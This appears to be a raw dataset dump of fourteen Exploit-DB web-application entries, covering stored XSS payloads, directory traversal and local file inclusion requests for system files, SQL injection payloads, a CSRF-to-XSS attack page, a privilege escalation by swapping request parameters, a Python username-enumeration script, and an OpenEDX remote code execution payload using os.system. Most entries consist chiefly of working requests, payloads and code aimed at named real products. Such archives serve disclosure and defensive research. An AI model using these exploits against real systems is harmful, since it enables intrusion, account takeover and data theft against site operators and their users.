deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49093
Description: nopCommerce Store 4.30 - 'name' Stored Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-11-24
Author: Hemant Patidar

Exploit:
# Exploit Title: nopCommerce Store 4.30 - 'name' Stored Cross-Site Scripting
# Date: 24-11-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.nopcommerce.com/
# Version: 4.30
# Tested on: Windows 10/Kali Linux
# CVE: CVE-2020-29475

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Schedule tasks and each time any user will go to that page of the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Schedule tasks.

Steps-To-Reproduce:
1. Go to the nopCommerce Store admin page.
2. Now go to the System-Schedule tasks option.
3. Now click to on edit button on any task.
4. Put the below payload in Schedule tasks: "hemantsolo"><img src=x onerror=confirm(1)>"
5. Now click on Update button.
6. The XSS will be triggered.

POST /Admin/ScheduleTask/TaskUpdate HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Length: 335
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: 127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 127.0.0.1/Admin/ScheduleTask/List
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: xyz

Id=5&Name=hemantsolo%22%3E%3Cimg+src%3Dx+onerror%3Dconfirm(1)%3E&Seconds=3600&Enabled=false&StopOnError=false&__RequestVerificationToken=CfDJ8Hstb5ORl7RLtnBnyhE10fENmFHuOPhDq-cN_XNT5gs_nUq2ht5UeggYY9Fea9OqSCeJnVy_e4IKpQ7HhLYwtOMRS76BYcfJ9Os-CI9BxTxrumbAaunwIxrDMZm6CbNRs9EPzKQabez4H7dNpXG6oVpiC5Pc__xQVm06bp4c4O_D15lqehkk6EmqDAizfm8LFA
Exploit-DB #52078
Description: NoteMark < 0.13.0 - Stored XSS
Type: webapps
Platform: multiple
Date: 2024-08-28
Author: Alessio Romano (sfoffo)

Exploit:
# Exploit Title: Stored XSS in NoteMark
# Date: 07/29/2024
# Exploit Author: Alessio Romano (sfoffo)
# Vendor Homepage: https://notemark.docs.enchantedcode.co.uk/
# Version: 0.13.0 and below
# Tested on: Linux
# References:
https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-41819,
https://github.com/enchant97/note-mark/commit/a0997facb82f85bfb8c0d497606d89e7d150e182,
https://github.com/enchant97/note-mark/security/advisories/GHSA-rm48-9mqf-8jc3
# CVE: CVE-2024-41819

## Steps to Reproduce
1. Log in to the application.
2. Create a new note or enter a previously created note.
3. Access the note editor functionality from the selected note by clicking
on the "Editor" tab.
4. Input the following payload:
[xss-link](javascript:alert(1))
5. Save the changes.
6. Click on the "Rendered" tab to view the rendered markdown version of the
note. Click on the previously created link to pop the injected alert.

## HTTP Request PoC

PUT /api/notes/<note-uuid>/content HTTP/1.1
Host: localhost:8000
Accept: */*
Content-Type: text/plain;charset=UTF-8
Content-Length: 34
Sec-Fetch-Site: same-origin
Authorization: Bearer <TOKEN>


[xss-link](javascript:alert(1))
Exploit-DB #21082
Description: novell sentinel log manager 1.2.0.1 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2011-12-18
Author: Andrea Fabrizi

Exploit:
# Exploit Title: Novell Sentinel Log Manager directory traversal
# Date: 2011-12-18
# Exploit Author: Andrea Fabrizi
# Vendor Homepage: http://www.novell.com/
# Version: <= 1.2.0.1
# Tested on: Sentinel Log Manager Appliance 1.2.0.1
# CVE: 2011-5028

The latest version of Sentinel Log Manager is prone to a Directory
Traversal, which makes it possible, for Authenticated Users, to access
any system file.

Testing environment: Sentinel Log Manager Appliance 1.2.0.1

Vulnerable URL:
/novelllogmanager/FileDownload?filename=/opt/novell/sentinel_log_mgr/3rdparty/tomcat/temp/../../../../../../etc/passwd

BID: https://www.securityfocus.com/bid/51104/info
CVE-2011-5028: http://www.cvedetails.com/cve/CVE-2011-5028
Exploit-DB #37569
Description: ntop - 'arbfile' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2012-08-03
Author: Marcos Garcia

Exploit:
source: https://www.securityfocus.com/bid/54792/info

ntop is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ntop 4.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/plugins/rrdPlugin?action=arbreq&which=graph&arbfile=TEST">[XSS]&arbiface=eth0&start=[PII_REDACTED]&end=[PII_REDACTED]&counter=&title=Active+End+Nodes&mode=zoom
Exploit-DB #38836
Description: ntop-ng 2.0.151021 - Privilege Escalation
Type: webapps
Platform: multiple
Date: 2015-12-01
Author: Dolev Farhi

Exploit:
# Vulnerability title: ntop-ng <= 2.0.151021 - Privilege Escalation
# Author: Dolev Farhi
# Contact: dolev at flaresec.com
# Vulnerable version: 2.0.151021
# Fixed version: 2.2
# Link: ntop.org
# Date 27.11.2015
# CVE-2015-8368

# Product Details:
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.

# Vulnerability Details:
in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.

# Vulnerability Proof of concept
1. Login with an unprivileged account
2. Change the account password and intercept the request, modify  the username= and Cookie user= and change to the admin account
Example:
GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_[CREDENTIAL_REDACTED]_[CREDENTIAL_REDACTED]_new_[CREDENTIAL_REDACTED] HTTP/1.1
Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX
3. Login with the admin account and the password you defined in step #3.

Voila! you're an administrator.
Exploit-DB #40942
Description: ntop-ng 2.5.160805 - Username Enumeration
Type: webapps
Platform: multiple
Date: 2016-08-04
Author: Dolev Farhi

Exploit:
# Exploit title: ntopng user enumeration
# Author: Dolev Farhi
# Contact: dolevf at protonmail.com
# Date: 04-08-2016
# Vendor homepage: ntop.org
# Software version: v.2.5.160805

#!/usr/env/python
import os
import sys
import urllib
import urllib2
import cookielib

server = 'ip.add.re.ss'
username = 'ntopng-user'
[CREDENTIAL_REDACTED]-password'
timeout = 6

if len(sys.argv) < 2:
    print("usage: %s <usernames file>") % sys.argv[0]
    sys.exit(1)

if not os.path.isfile(sys.argv[1]):
    print("%s doesn't exist") % sys.argv[1]
    sys.exit(1)

try:
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    login_data = urllib.urlencode({'user' : username, 'password' :
password, 'referer' : '/authorize.html'})
    opener.open('http://' + server + ':3000/authorize.html', login_data,
timeout=timeout)
    print("\nEnumerating ntopng...\n")
    with open(sys.argv[1]) as f:
    for user in f:
        user = user.strip()
        url = 'http://%s:3000/lua/admin/validate_new_user.lua?user=%s&netw
orks=0.0.0.0/0,::/0' % (server, user)
          resp = opener.open(url)
        if "existing" not in resp.read():
            print "[NOT FOUND] %s" % user
        else:
            print "[FOUND] %s" % user
except Exception as e:
    print e
    sys.exit(1)
Exploit-DB #34419
Description: ntopng 1.2.0 - Cross-Site Scripting Injection
Type: webapps
Platform: multiple
Date: 2014-08-26
Author: Steffen Bauch

Exploit:
ntopng 1.2.0 XSS injection using monitored network traffic

ntopng is the next generation version of the original ntop, a network 
traffic probe and monitor that shows the network usage, similar to what 
the popular top Unix command does.

The web-based frontend of the software is vulnerable to injection of 
script code via forged HTTP Host: request header lines in monitored 
network traffic.

HTTP Host request header lines are extracted using nDPI traffic 
classification library and used without sanitization in several places 
in the frontend, e.g. the Host overview and specific subpages for each 
monitored host.

The injected code might be used to execute javascript and to perform 
management actions with the user-rights of the current ntopng user, 
which can be used to disable the monitoring function or deletion of 
accounts making the monitoring system unusable.

To give a coarse idea of the vulnerability the following python script 
can be used on the monitored network, afterwards the victim needs to 
browse to the Host overview / Host details in the ntopng frontend.

import httplib

conn = httplib.HTTPConnection("example.com")
headers = {"Host": "<SCRIPT>alert(\"xss\")</SCRIPT>", "Accept": 
"text/plain"}
conn.request("GET", "/", None, headers)
r1 = conn.getresponse()
print(r1.status, r1.reason)
data1 = r1.read()

Other users of the nDPI code might be affected as well.

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de
Exploit-DB #50381
Description: Odine Solutions GateKeeper 1.0 - 'trafficCycle' SQL Injection
Type: webapps
Platform: multiple
Date: 2021-10-06
Author: Emel Basayar

Exploit:
# Exploit Title: Odine Solutions GateKeeper 1.0 - 'trafficCycle' SQL Injection
# Date: 05.10.2021
# Exploit Author: Emel Basayar
# Vendor: Odine Solutions - odinesolutions.com
# Vendor Homepage: https://odinesolutions.com/software/gatekeeper-simbox-antifraud/
# Version: 1.0
# Category: Webapps
# Tested on: Ubuntu 18 TLS
# Description : The vulnerability allows an attacker to inject sql commands from search section with 'trafficCycle' parameter.
# This vulnerability was discovered during the penetration testing and the vulnerability was fixed.
====================================================

# PoC : SQLi :

GET /rass/api/v1/trafficCycle/98 HTTP/1.1
Host: 192.168.1.25
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Bearer xm38HruG-htx0jNuM-l9UBCkoz-G7RigZvx
Origin: https://192.168.1.25
Connection: close
Referer: https://192.168.1.25

Parameter: #1* (URI)
    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98' AND 5042=CAST((CHR(113)||CHR(118)||CHR(112)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (5042=5042) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113)) AS NUMERIC)-- yrdB

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98' AND 9405=(SELECT 9405 FROM PG_SLEEP(5))-- PasC
---
web application technology: Nginx
back-end DBMS: PostgreSQL

====================================================
Exploit-DB #48609
Description: Odoo 12.0 - Local File Inclusion
Type: webapps
Platform: multiple
Date: 2020-06-22
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: Odoo 12.0 - Local File Inclusion
# Date: 2019-06-14
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://www.odoo.com/
# Software Link: https://www.odoo.com/tr_TR/page/download
# Version: v12.0
# Tested on: Windows/Linux
# https://github.com/EmreOvunc/Odoo-12.0-LFI-Vulnerabilities
# https://www.odoo.com/security-report

# PoC-1
To exploit vulnerability, someone could use
'http://[HOST]:8069/base_import/static/c:/windows/win.ini'
request to get some information from the target.

GET /base_import/static/c:/windows/win.ini HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

# PoC-2
To exploit vulnerability, someone could use 'http://[HOST]:8069/
web/static/c:/windows/win.ini' request to get some information from the
target.

GET /web/static/c:/windows/win.ini HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

# PoC-3
To exploit vulnerability, someone could use 'http://[HOST]:8069/
base/static/c:/windows/win.ini' request to get some information from the
target.

GET /base/static/c:/windows/win.ini HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #49162
Description: Online News Portal System 1.0 - 'Title' Stored Cross Site Scripting
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Parshwa Bhavsar

Exploit:
# Exploit Title: Online News Portal System 1.0 - 'Title' Stored Cross Site Scripting
# Date: 24-11-2020
# Exploit Author: Parshwa Bhavsar
# Vendor Homepage: https://www.sourcecodester.com/php/14600/online-news-portal-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/online-news-portal.zip
# Version: 1.0
# Tested on: Windows 10/XAMPP

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the
two. It occurs when a malicious script is injected directly into a
vulnerable web application.

Attack Vector :

This vulnerability can result in the attacker to inject the XSS
payload in the Title field of the page and each time any user will
open the website, the XSS triggers and attacker can able to steal the
cookie according to the crafted payload.

Vulnerable Parameters: Title Parameter in Edit Post Page.

Payload : "><img src=x Onmouseover=alert(document.domain)>

Vulnerable URL :
http://localhost/online-news-portal/news_portal/admin/index.php?page=new_post

Steps To Reproduce :
1) Go to the admin Dashboard
2) Click on Posts and click Add New button.
3) Put Payload into the Title parameter.
4) Click on Save.
5) XSS payload will be triggered.
Exploit-DB #49159
Description: Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Sagar Banwa

Exploit:
# Exploit Title: Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting
# Date: 27-11-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/online-voting-system-project-in-php-2/
# Tested on: Windows 10/Kali Linux

Steps-To-Reproduce:

1. Go to register 
2. Add the payload in Username : <script>alert(1)</script>
3. And complete the register 
4. Login to the account 

POST /vote/reg_action.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 593
Origin: http://localhost
Connection: close
Referer: http://localhost/vote/register.php
Cookie: PHPSESSID=1sqkq0u1m2j47906htd45opcep
Upgrade-Insecure-Requests: 1

firstname=user1&lastname=user2&username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&[CREDENTIAL_REDACTED]-recaptcha-response=03AGdBq24TB5LilE4y9YCZx4I_XrKLBs2ftYrVEJ70_vhpDG-FXCKhzfB-EmAD-NnhKRSZ8_A88_ZNB4nXnwMBs8cU1Qgrqzs8Yme0Bmral8WRK1umGikJeDzliuigIKgZ6Q2Me9zGS-ecZyrujgF4tKSlMs3K_KNgVhEhlAsslrfBe7jQg40aG3PdMCXTTOst4Lt91vswl1G_dmYjrLEh7AfLJS7XYgXrEt4Pfau_mJ3KzE_hf-MxbpTI9_NkCLanUiW8-VI1t3uopUbSE9xH53X1cUExoe_dGpwnkygZw_4yEDp-iBYA73wql5ow1W43OIn5pmSBz_Sdv1VbfAqbFMEIXXJx4o5D_TLiVKLDQCj2Vy-fRmohlpYwV76NR5Iu2D693FKCs3KODRNSaitpOevSfcYh3h05vCGuPSO1fCu4c3v1daiIdFKPwDvfKS_Lm8jgoFK4kfnZ&submit=Next
Exploit-DB #45053
Description: Open-AudIT Community 2.1.1 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2018-07-18
Author: Ranjeet Jaiswal

Exploit:
#######################################
# Exploit Title: Open-AudIT Community - 2.1.1 - Cross Site Scripting Vulnerability
# Google Dork:NA
# #######################################
# Exploit Author: Ranjeet Jaiswal#
#######################################
# Vendor Homepage: https://opmantek.com/
# Software Link:http://dl-openaudit.opmantek.com/OAE-Win-x86_64-
release_2.2.1.exe
# Affected Version: 2.1.1
# Category: WebApps
# Tested on: Windows 10
# CVE : CVE-2018-11124
#
# 1. Vendor Description:
#
# Network Discovery and Inventory Software | Open-AudIT | Opmantek
Discover what's on your network
Open-AudIT is the world's leading network discovery, inventory and audit
program. Used by over 10,000 customers.
#
# 2. Technical Description:
#
# Cross-site scripting (XSS) vulnerability in Attributes functionality in
Open-AudIT Community edition before 2.2.2 allows remote attackers to inject
arbitrary web script or HTML via a crafted attribute name of a Attribute,
as demonstrated in below POC.
#
# 3. Proof Of Concept:

 3.1. Proof of Concept for Injecting html contain

# #Step to reproduce.
Step1:Login in to Open-Audit
Step2:Go to Attributes page
Step3:Select any attribute which are listed
Step4:click on details tab.
Step5:In the Name field put the  following payload and click submit.

<p>Sorry! We have moved! The new URL is: <a href="http://geektyper.com/">
Open-Audit</a></p>

Step6:Go to export tab and export using HTML Table
Step7:When user open download attribute.html file.You will see redirection
hyperlink.
Step8:When user click on link ,User will be redirected to Attacker or
malicious website.

 3.2. Proof of Concept for Injecting web script(Cross-site scripting(XSS))

 # #Step to reproduce.
Step1:Login in to Open-Audit
Step2:Go to Attributes page
Step3:Select any attribute which are listed
Step4:click on details tab.
Step5:In the Name field put the  following payload and click submit.

<script>alert(hack)</script>

Step6:Go to export tab and export using HTML Table
Step7:When user open download attribute.html file.Alert Popup will execute.



# 4. Solution:
#
# Upgrade to latest release of Open-AudIT version
# https://opmantek.com/network-tools-download/open-audit/
Exploit-DB #44360
Description: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2018-03-30
Author: Nilesh Sapariya

Exploit:
# Exploit Title: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery (CSRF)
# Date: 27-03-2018
# Exploit Author: Nilesh Sapariya
# Contact: https://twitter.com/nilesh_loganx
# Website: https://nileshsapariya.blogspot.com
# Vendor Homepage: https://www.open-audit.org/
# Software Link  : https://www.open-audit.org/downloads.php
# Version: 2.1
# CVE : CVE-2018-8979
# Tested on: Windows 10 Pro
# Category: Webapp Open-AuditIT Professional 2.1


1. Description:-
There is no CSRF protection in Open-AuditIT application, with a little help
of social engineering (like sending a link via email/chat) an attacker may
force the victim to click on a malicious link by which any normal user can
become an Admin user. The attack can force an end user to execute unwanted
actions on a web application in which they're currently authenticated.
Using this vulnerability, we were able to compromise entire user account
with chaining this bug with XSS.



2. Proof of Concept
Login into Open-AuditIT Professional 2.1
Step 1 :- Craft a HTML Page with XSS payload
Step 2:- Save this .html file and send it to victim (Victim  should be
loggedin in the browser)
Crafted value will be added.


Affected Code:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/omk/open-audit/credentials"
method="POST">
      <input type="hidden" name="data&#91;attributes&#93;&#91;name&#93;"
value="<img src=x onerror=alert('hacked');>" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;org&#95;id&#93;" value="1" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;description&#93;" value="CSRF" />
      <input type="hidden" name="data&#91;attributes&#93;&#91;type&#93;"
value="ssh" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;credentials&#93;&#91;username&#93;"
value="test" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;credentials&#93;&#91;password&#93;"
value="test" />
      <input type="hidden" name="data&#91;type&#93;" value="credentials" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


​​3] POCs and steps:
https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html


Thanks & Regards,
Nilesh Sapariya
Security Researcher
https://twitter.com/nilesh_loganx
*https://nileshsapariya.blogspot.in
Exploit-DB #48500
Description: OpenEDX platform Ironwood 2.5 - Remote Code Execution
Type: webapps
Platform: multiple
Date: 2020-05-21
Author: Daniel Monzón

Exploit:
# Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-20
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://open.edx.org/
# Software Link: https://github.com/edx/edx-platform
# Version: Ironwood 2.5
# Tested on: Debian x64
# CVE : CVE-2020-13144

CVE ID: CVE-2020-13144

OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail (https://github.com/edx/codejail) is not enforced

This is an authenticated vulnerability, so you need to register an account, go to /edx-studio

Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code

Once here we just need to edit the problem and introduce a payload such as:

<problem>

<script type="python">
def test_add(expect,ans):
    import os
    os.system("thecommandyouwanttoexecute")
    
</script>

<p>Problem text</p>
<customresponse cfn="test_add" expect="20">
        <textline size="10" correct_answer="11" label="Integer #1"/><br/>
        <textline size="10" correct_answer="9" label="Integer #2"/>
</customresponse>

    <solution>
        <div class="detailed-solution">
          <p>Solution or Explanation Heading</p>
          <p>Solution or explanation text</p>
        </div>
    </solution>
</problem>

And click Submit, and you will execute commands in the machine